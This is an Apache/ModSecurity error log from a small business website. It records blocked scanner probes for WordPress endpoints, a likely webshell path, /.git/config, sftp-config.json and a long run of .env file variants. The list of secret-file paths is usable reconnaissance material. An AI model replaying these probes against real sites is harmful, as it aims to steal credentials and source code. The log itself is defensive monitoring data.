[Sun Apr 19 22:50:50.228926 2026] [:error] [pid 15763:tid 15812] [client 146.70.194.222:46088] [client 146.70.194.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/website/wp-includes/wlwmanifest.xml"] [unique_id "aeTryrMXv1Y1THOoxaATHQAAAhA"]
[Sun Apr 19 22:50:50.743498 2026] [:error] [pid 47772:tid 47797] [client 146.70.194.222:46936] [client 146.70.194.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp/wp-includes/wlwmanifest.xml"] [unique_id "aeTryoc0L16cb4smAz_aUgAAAAg"]
[Sun Apr 19 22:50:51.260028 2026] [:error] [pid 47773:tid 47826] [client 146.70.194.222:47614] [client 146.70.194.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/news/wp-includes/wlwmanifest.xml"] [unique_id "aeTry-iBHdnCJDuPq9BW2wAAAEo"]
[Sun Apr 19 23:23:28.455029 2026] [:error] [pid 15765:tid 15876] [client 34.28.188.170:54135] [client 34.28.188.170] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.28.188.170, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aeTzcPRqinw-W5EwQ74MmQAAApc"]
[Sun Apr 19 23:23:28.464472 2026] [proxy_fcgi:error] [pid 15765:tid 15876] [client 34.28.188.170:54135] AH01071: Got error 'Primary script unknown'
[Sun Apr 19 23:23:34.347158 2026] [:error] [pid 15765:tid 15875] [client 34.28.188.170:54135] [client 34.28.188.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp1/wp-includes/wlwmanifest.xml"] [unique_id "aeTzdvRqinw-W5EwQ74MsAAAApY"]
[Sun Apr 19 23:23:34.771872 2026] [:error] [pid 15764:tid 15840] [client 34.28.188.170:62605] [client 34.28.188.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/test/wp-includes/wlwmanifest.xml"] [unique_id "aeTzdmLL_sqdSHoVp-RFoQAAAk4"]
[Sun Apr 19 23:23:35.249918 2026] [:error] [pid 15764:tid 15827] [client 34.28.188.170:51600] [client 34.28.188.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/media/wp-includes/wlwmanifest.xml"] [unique_id "aeTzd2LL_sqdSHoVp-RFogAAAkE"]
[Sun Apr 19 23:23:35.675640 2026] [:error] [pid 47773:tid 47835] [client 34.28.188.170:51760] [client 34.28.188.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp2/wp-includes/wlwmanifest.xml"] [unique_id "aeTzd-iBHdnCJDuPq9BdeQAAAFM"]
[Sun Apr 19 23:23:36.086832 2026] [:error] [pid 15763:tid 15803] [client 34.28.188.170:63519] [client 34.28.188.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/site/wp-includes/wlwmanifest.xml"] [unique_id "aeTzeLMXv1Y1THOoxaAadAAAAgc"]
[Sun Apr 19 23:23:36.518684 2026] [:error] [pid 47772:tid 47801] [client 34.28.188.170:54075] [client 34.28.188.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cms/wp-includes/wlwmanifest.xml"] [unique_id "aeTzeIc0L16cb4smAz_jVwAAAAw"]
[Sun Apr 19 23:23:36.929072 2026] [:error] [pid 15760:tid 15785] [client 34.28.188.170:63590] [client 34.28.188.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sito/wp-includes/wlwmanifest.xml"] [unique_id "aeTzePSdD_XHQMJ_IStvbQAAAdE"]
[Sun Apr 19 23:53:13.474540 2026] [:error] [pid 47772:tid 47809] [client 161.0.60.2:62107] [client 161.0.60.2] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 161.0.60.2, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aeT6aYc0L16cb4smAz_rxwAAABQ"]
[Sun Apr 19 23:53:13.485600 2026] [proxy_fcgi:error] [pid 47772:tid 47809] [client 161.0.60.2:62107] AH01071: Got error 'Primary script unknown'
[Mon Apr 20 05:28:55.207538 2026] [proxy_fcgi:error] [pid 64334:tid 64406] [client 20.238.120.90:29314] AH01071: Got error 'Primary script unknown'
[Mon Apr 20 05:28:55.461464 2026] [proxy_fcgi:error] [pid 64334:tid 64422] [client 20.238.120.90:29314] AH01071: Got error 'Primary script unknown'
[Mon Apr 20 05:28:56.215345 2026] [proxy_fcgi:error] [pid 64334:tid 64418] [client 20.238.120.90:29314] AH01071: Got error 'Primary script unknown'
[Mon Apr 20 05:28:56.474350 2026] [proxy_fcgi:error] [pid 64334:tid 64416] [client 20.238.120.90:29314] AH01071: Got error 'Primary script unknown'
[Mon Apr 20 05:28:56.732285 2026] [proxy_fcgi:error] [pid 64334:tid 64421] [client 20.238.120.90:29314] AH01071: Got error 'Primary script unknown'
[Mon Apr 20 05:28:56.986516 2026] [proxy_fcgi:error] [pid 64334:tid 64403] [client 20.238.120.90:29314] AH01071: Got error 'Primary script unknown'
[Mon Apr 20 05:28:57.241244 2026] [proxy_fcgi:error] [pid 64334:tid 64405] [client 20.238.120.90:29314] AH01071: Got error 'Primary script unknown'
[Mon Apr 20 05:28:57.494934 2026] [proxy_fcgi:error] [pid 64334:tid 64410] [client 20.238.120.90:29314] AH01071: Got error 'Primary script unknown'
[Mon Apr 20 07:30:35.772758 2026] [:error] [pid 64333:tid 64391] [client 20.251.55.246:7657] [client 20.251.55.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aeVlm3Zav9wH8wxMd_tywAAAAE8"]
[Mon Apr 20 07:30:38.215276 2026] [:error] [pid 64332:tid 64344] [client 20.251.55.246:58132] [client 20.251.55.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aeVlnsAQ57uMKAVSYEkapgAAAAI"]
[Mon Apr 20 07:30:39.538422 2026] [:error] [pid 64333:tid 64385] [client 20.251.55.246:49504] [client 20.251.55.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aeVln3Zav9wH8wxMd_tywwAAAEk"]
[Mon Apr 20 07:30:40.182376 2026] [:error] [pid 47731:tid 47735] [client 20.251.55.246:7444] [client 20.251.55.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aeVloFOwpc-h7Nzn-iOyvAAAAQI"]
[Mon Apr 20 07:30:40.828761 2026] [:error] [pid 64332:tid 64358] [client 20.251.55.246:7457] [client 20.251.55.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aeVloMAQ57uMKAVSYEkarQAAABA"]
[Mon Apr 20 07:30:41.890856 2026] [:error] [pid 64333:tid 64384] [client 20.251.55.246:52175] [client 20.251.55.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aeVloXZav9wH8wxMd_tyyQAAAEg"]
[Mon Apr 20 07:30:42.048417 2026] [:error] [pid 64333:tid 64377] [client 20.251.55.246:7523] [client 20.251.55.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aeVlonZav9wH8wxMd_tyygAAAEE"]
[Mon Apr 20 07:30:42.891083 2026] [:error] [pid 64333:tid 64386] [client 20.251.55.246:52200] [client 20.251.55.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aeVlonZav9wH8wxMd_tyzQAAAEo"]
[Mon Apr 20 13:31:15.878912 2026] [:error] [pid 11350:tid 11378] [client 103.65.237.216:56869] [client 103.65.237.216] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/sftp-config.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/sftp-config.json"] [unique_id "aeW6I_4EoMBgOJuJnT0tTAAAABM"]
[Mon Apr 20 16:33:58.172362 2026] [:error] [pid 11350:tid 11378] [client 93.123.109.79:60095] [client 93.123.109.79] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.git/config"] [unique_id "aeXk9v4EoMBgOJuJnT1MSgAAABM"]
[Mon Apr 20 19:32:20.827841 2026] [:error] [pid 11351:tid 11398] [client 112.203.171.75:2976] [client 112.203.171.75] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 112.203.171.75, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aeYOxAN8Z1-vktaI_tPe6wAAAEs"]
[Mon Apr 20 19:32:20.839789 2026] [proxy_fcgi:error] [pid 11351:tid 11398] [client 112.203.171.75:2976] AH01071: Got error 'Primary script unknown'
[Tue Apr 21 04:00:21.907095 2026] [:error] [pid 35320:tid 35351] [client 185.194.178.51:55419] [client 185.194.178.51] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.194.178.51, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "aeaF1YJW6fdXWO6agMFcSQAAABU"]
[Tue Apr 21 04:00:21.926318 2026] [proxy_fcgi:error] [pid 35320:tid 35351] [client 185.194.178.51:55419] AH01071: Got error 'Primary script unknown'
[Tue Apr 21 13:57:41.784163 2026] [:error] [pid 35320:tid 35349] [client 47.129.153.171:50638] [client 47.129.153.171] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.git/config"] [unique_id "aecR1YJW6fdXWO6agMHtkAAAABM"]
[Tue Apr 21 13:57:42.353949 2026] [:error] [pid 5377:tid 5404] [client 47.129.153.171:50648] [client 47.129.153.171] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.env"] [unique_id "aecR1rBKychFlrHBdvumcwAAAdI"]
[Tue Apr 21 13:57:42.841206 2026] [:error] [pid 4823:tid 4875] [client 47.129.153.171:50658] [client 47.129.153.171] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.env.local"] [unique_id "aecR1vc8mke3PfHqsxFkQQAAAZY"]
[Tue Apr 21 13:57:43.296072 2026] [:error] [pid 4823:tid 4864] [client 47.129.153.171:50666] [client 47.129.153.171] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.env.production"] [unique_id "aecR1_c8mke3PfHqsxFkRAAAAYs"]
[Tue Apr 21 13:57:43.752056 2026] [:error] [pid 4823:tid 4872] [client 47.129.153.171:50678] [client 47.129.153.171] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.env.staging"] [unique_id "aecR1_c8mke3PfHqsxFkRwAAAZM"]
[Tue Apr 21 13:57:44.249870 2026] [:error] [pid 4823:tid 4862] [client 47.129.153.171:50686] [client 47.129.153.171] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.env.development"] [unique_id "aecR2Pc8mke3PfHqsxFkSgAAAYk"]
[Tue Apr 21 13:57:44.721569 2026] [:error] [pid 35320:tid 35338] [client 47.129.153.171:50696] [client 47.129.153.171] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.env.test"] [unique_id "aecR2IJW6fdXWO6agMHtlAAAAAg"]
[Tue Apr 21 13:57:45.209021 2026] [:error] [pid 4822:tid 4831] [client 47.129.153.171:50710] [client 47.129.153.171] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.env.remote"] [unique_id "aecR2SAteFQFwS_23JlWngAAAUU"]
[Tue Apr 21 13:57:45.691573 2026] [:error] [pid 35320:tid 35348] [client 47.129.153.171:50712] [client 47.129.153.171] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.env.bak"] [unique_id "aecR2YJW6fdXWO6agMHttwAAABI"]
[Tue Apr 21 13:57:46.178129 2026] [:error] [pid 4823:tid 4853] [client 47.129.153.171:50718] [client 47.129.153.171] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.env.backup"] [unique_id "aecR2vc8mke3PfHqsxFkWgAAAYA"]
[Tue Apr 21 13:57:46.674167 2026] [:error] [pid 4823:tid 4865] [client 47.129.153.171:50724] [client 47.129.153.171] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.env.save"] [unique_id "aecR2vc8mke3PfHqsxFkXQAAAYw"]
[Tue Apr 21 13:57:47.144060 2026] [:error] [pid 4822:tid 4847] [client 47.129.153.171:50740] [client 47.129.153.171] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.env.old"] [unique_id "aecR2yAteFQFwS_23JlWpAAAAVU"]
[Tue Apr 21 13:57:47.625938 2026] [:error] [pid 5377:tid 5407] [client 47.129.153.171:50744] [client 47.129.153.171] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.env.sample"] [unique_id "aecR27BKychFlrHBdvumdwAAAdU"]
[Tue Apr 21 13:57:48.107321 2026] [:error] [pid 4823:tid 4855] [client 47.129.153.171:50754] [client 47.129.153.171] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.env.example"] [unique_id "aecR3Pc8mke3PfHqsxFkaQAAAYI"]
[Tue Apr 21 13:57:48.583690 2026] [:error] [pid 4823:tid 4857] [client 47.129.153.171:53724] [client 47.129.153.171] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.env.dev"] [unique_id "aecR3Pc8mke3PfHqsxFkbgAAAYQ"]
[Tue Apr 21 13:57:49.034872 2026] [:error] [pid 4823:tid 4863] [client 47.129.153.171:53726] [client 47.129.153.171] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.env.prod"] [unique_id "aecR3fc8mke3PfHqsxFkdAAAAYo"]
[Tue Apr 21 13:57:49.513321 2026] [:error] [pid 4823:tid 4853] [client 47.129.153.171:53742] [client 47.129.153.171] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.env.stage"] [unique_id "aecR3fc8mke3PfHqsxFkewAAAYA"]
[Tue Apr 21 13:57:49.957787 2026] [:error] [pid 4823:tid 4874] [client 47.129.153.171:53748] [client 47.129.153.171] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.env.ci"] [unique_id "aecR3fc8mke3PfHqsxFkggAAAZU"]
[Tue Apr 21 13:57:50.416349 2026] [:error] [pid 4823:tid 4861] [client 47.129.153.171:53754] [client 47.129.153.171] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.env.docker"] [unique_id "aecR3vc8mke3PfHqsxFkiQAAAYg"]
[Tue Apr 21 13:57:50.897578 2026] [:error] [pid 4777:tid 4796] [client 47.129.153.171:53758] [client 47.129.153.171] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.env.live"] [unique_id "aecR3qxXur6bykKyLZRhhwAAAQg"]
[Tue Apr 21 13:57:51.357107 2026] [:error] [pid 35415:tid 35448] [client 47.129.153.171:53766] [client 47.129.153.171] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.env.preprod"] [unique_id "aecR30iqDinI4_22zzg14wAAANU"]
[Tue Apr 21 13:57:51.806000 2026] [:error] [pid 4777:tid 4810] [client 47.129.153.171:53770] [client 47.129.153.171] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.env.uat"] [unique_id "aecR36xXur6bykKyLZRhiAAAARY"]
[Tue Apr 21 13:57:52.264812 2026] [:error] [pid 35415:tid 35437] [client 47.129.153.171:53782] [client 47.129.153.171] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.env.dist"] [unique_id "aecR4EiqDinI4_22zzg15QAAAMo"]
[Tue Apr 21 13:57:52.700118 2026] [:error] [pid 4823:tid 4870] [client 47.129.153.171:53786] [client 47.129.153.171] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.env.swp"] [unique_id "aecR4Pc8mke3PfHqsxFkngAAAZE"]
[Tue Apr 21 13:57:53.139970 2026] [:error] [pid 4777:tid 4789] [client 47.129.153.171:53794] [client 47.129.153.171] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.env~"] [unique_id "aecR4axXur6bykKyLZRhigAAAQE"]
[Tue Apr 21 13:57:53.579126 2026] [:error] [pid 5377:tid 5409] [client 47.129.153.171:53810] [client 47.129.153.171] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/app/.env"] [unique_id "aecR4bBKychFlrHBdvumfQAAAdc"]
[Tue Apr 21 13:57:54.020401 2026] [:error] [pid 4823:tid 4863] [client 47.129.153.171:53820] [client 47.129.153.171] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/apps/.env"] [unique_id "aecR4vc8mke3PfHqsxFkqwAAAYo"]
[Tue Apr 21 13:57:54.454746 2026] [:error] [pid 5377:tid 5397] [client 47.129.153.171:53832] [client 47.129.153.171] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/api/.env"] [unique_id "aecR4rBKychFlrHBdvumfwAAAcs"]
